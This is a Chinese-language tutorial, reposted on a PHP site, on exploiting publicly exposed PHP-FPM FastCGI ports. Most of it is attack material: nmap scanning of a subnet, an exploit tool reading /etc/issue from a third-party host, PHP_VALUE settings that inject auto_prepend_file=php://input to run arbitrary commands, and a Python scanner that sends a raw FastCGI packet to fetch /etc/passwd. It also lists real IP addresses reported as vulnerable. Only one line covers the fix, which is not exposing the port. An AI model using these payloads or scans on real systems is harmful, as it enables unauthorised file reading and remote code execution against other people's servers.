首頁 >後端開發 >Python教學 >fastcgi檔案讀取漏洞之python掃描腳本的實例解析

fastcgi檔案讀取漏洞之python掃描腳本的實例解析

Y2J
Y2J原創
2017-05-02 15:21:241781瀏覽

這篇文章主要介紹了fastcgi檔案讀取漏洞之python掃描腳本,需要的朋友可以參考下

#PHP FastCGI的遠端利用

說到FastCGI,大家都知道這是目前最常見的webserver動態腳本執行模型之一。目前基本所有web腳本都基本上支援這種模式,甚至有的類型腳本這是唯一的模式(ROR,Python等)。

FastCGI的主要目的就是,將webserver和動態語言的執行分開為兩個不同的常駐進程,當webserver接收到動態腳本的請求,就透過fcgi協定將請求透過網路轉送給fcgi進程,由fcgi進程進行處理之後,再將結果傳送給webserver,然後webserver再輸出給瀏覽器。這種模型由於不用每次請求都重新啟動一次cgi,也不用嵌入腳本解析器到webserver中去,因此可伸縮性很強,一旦動態腳本請求量增加,就可以將後端fcgi進程單獨設立一個集群提供服務,很大的增加了可維護性,這也是為什麼fcgi等類似模式如此流行的原因之一。

然而正是因為這種模式,卻也帶來了一些問題。例如去年80sec發布的《nginx檔案解析漏洞》 其實就是由於fcgi和webserver對script路徑級參數的理解不同出現的問題。除此之外,由於fcgi和webserver是透過網路進行溝通的,因此目前越來越多的叢集將fcgi直接綁定在公網上,所有人都可以對其進行存取。這樣就意味著,任何人都可以偽裝成webserver,讓fcgi執行我們想執行的腳本內容。

ok,以上就是背景原理解釋,我在這裡就用我最熟悉的PHP給各位做個例子。

php的fastcgi目前通常叫做FPM。他預設監聽的連接埠是9000埠。我們這裡用nmap直接掃描一下:

nmap -sV -p 9000 --open x.x.x.x/24

為什麼要用sV?因為9000埠可能還有其他服務,這裡需要藉用nmap的指紋辨識先幫我們鑑定一下。

[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDTNmap scan report for abc.net (173.xxx.xxx.111)Host is up (0.0095s latency).PORT     STATE SERVICE VERSION9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for abc.com (173.xxx.xxx.183)Host is up (0.0096s latency).PORT     STATE SERVICE    VERSION9000/tcp open  tcpwrapped
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

隨便掃描了一下,運氣不錯,一個C段有2個開放9000埠的,不過其中一個是被管理員修改的sshd,另一個tcpwrapped,才是我們的目標。

為了做測試,我寫了一個fastcgi的客戶端程序,直接向對方發起請求。我們利用一個開放的fastcgi能有什麼作用?這裡和普通的http請求有一點不同,因為webserver為了提供fastcgi一些參數,每次轉送請求的時候,會透過FASTCGI_PARAMS的封包向fcgi進程傳遞。本來這些參數是使用者不可控的,但是既然這個fcgi對外開放,那麼也就說明我們可以透過設定這些參數,來讓我們去做一些原本做不到的事情:

[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4.9Content-type: text/html www.jb51.net
Ubuntu 10.04.3 LTS \n \l

#讀了/etc/issue文件,可以看到這是一台ubuntu 10.04的機器。那又是怎麼實現的呢?其實我們只要在FASTCGI_PARAMS中,設定 DOCUMENT_ROOT為"/"根目錄即可,接著再設定SCRIPT_FILENAME為/etc/issue。這樣,只要我們有權限,我們就可以控制fcgi去讀取這台機器上的任意檔案了。實際上這不是讀取,而是用php去執行它。

既然是執行,所以其實這個漏洞就類似一個普通的LFI漏洞,如果你知道這台機器上的log路徑,或是任何你可以控制內容的檔案路徑,你就可以執行任意程式碼了。

到此為止了麼?不,如果利用log或去猜其他檔案路徑去執行程式碼,還是不夠方便,有沒有更方便的利用方式可以讓我執行任意我提交的程式碼呢?

這裡我也找了很多辦法,最先想到的是傳遞env參數過去然後去執行/proc/self/environ文件,可惜php-fpm在接收到我的參數值後只是在內存中修改了環境變量,並不會直接改動這個檔案。因此沒辦法利用。況且這個方式也不是所有系統都通用。

我們還有一個方法,在我之前寫的《CVE-2012-1823(PHP-CGI RCE)的PoC及技術挑戰》中,可以透過動態修改php.ini中的auto_prepend_file的值,去遠端執行任意文件。將一個LFI的漏洞變成了RFI,這樣可利用空間就大大增加。

fastcgi是否也支援類似的動態修改php的配置?我查了一下資料,發現原本FPM是不支援的,直到某位開發者提交了一個bug,php官方才將此特性Merge到php 5.3.3的源碼中去。

通用透過設定FASTCGI_PARAMS,我們可以利用PHP_ADMIN_VALUE和PHP_VALUE去動態修改php的設定。

env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ ndisable_functions = \nsafe_mode = Off"

利用執行php://input,然後在POST的內容中寫入我們的php程式碼,這樣就可以直接執行了。

[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"   
X-Powered-By: PHP/5.5.0-devContent-type: text/html
uid=500(www) gid=500(www) groups=500(www)Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器php版本是5.3.2,正好低于5.3.3,因此无法利用修改ini设置去执行代码,只能去猜路径。

另一个变化是,我这里去读取/tmp/a.php这个php文件,而不是去读取/etc/issue。因为在5.3.9开始,php官方加入了一个配置"security.limit_extensions",默认状态下只允许执行扩展名为".php"的文件。因此你必须找到一个已经存在的php文件。而这个设置是php-fpm.conf里的,无法通过修改ini的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。

ok,目前为止对php-fpm的所有测试已经结束,我们利用一个对外开放的fcgi进程,已经可以直接获取shell了。各位不如也去研究一下其他fcgi,或许会有更多发现。

如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。

任何系统上编译,请安装golang之后,执行:
go build fcgi_exp.go

fastcgi文件读取漏洞python扫描脚本

fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述: PHP FastCGI 的远程利用

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。 下载上述文章中提到的: fcgi_exp

协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。

外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。

import socket
import sys
def test_fastcgi(ip):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
  sock.connect((ip, 9000))
  data = """
  01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
  01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 
  54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 
  56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 
  2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
  4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
  52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 
  50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 
  70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
  4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
  63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
  """
  data_s = ''
  for _ in data.split():
    data_s += chr(int(_,16))
  sock.send(data_s)
  try:
    ret = sock.recv(1024)
    if ret.find(':root:') > 0:
      print ret
      print '%s is vulnerable!' % ip
      return True
    else:
      return False
  except Exception, e:
    pass
      
  sock.close()
if __name__ == '__main__':
  if len(sys.argv) == 1:
    print sys.argv[0], '[ip]'
  else:
    test_fastcgi(sys.argv[1])

通过快速扫描9000端口,可以发现几个存在漏洞的机器:

110.164.68.137 is vul !
110.164.68.148 is vul !
110.164.68.149 is vul !
110.164.68.151 is vul !
110.164.68.154 is vul !
110.164.68.155 is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

以上是fastcgi檔案讀取漏洞之python掃描腳本的實例解析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn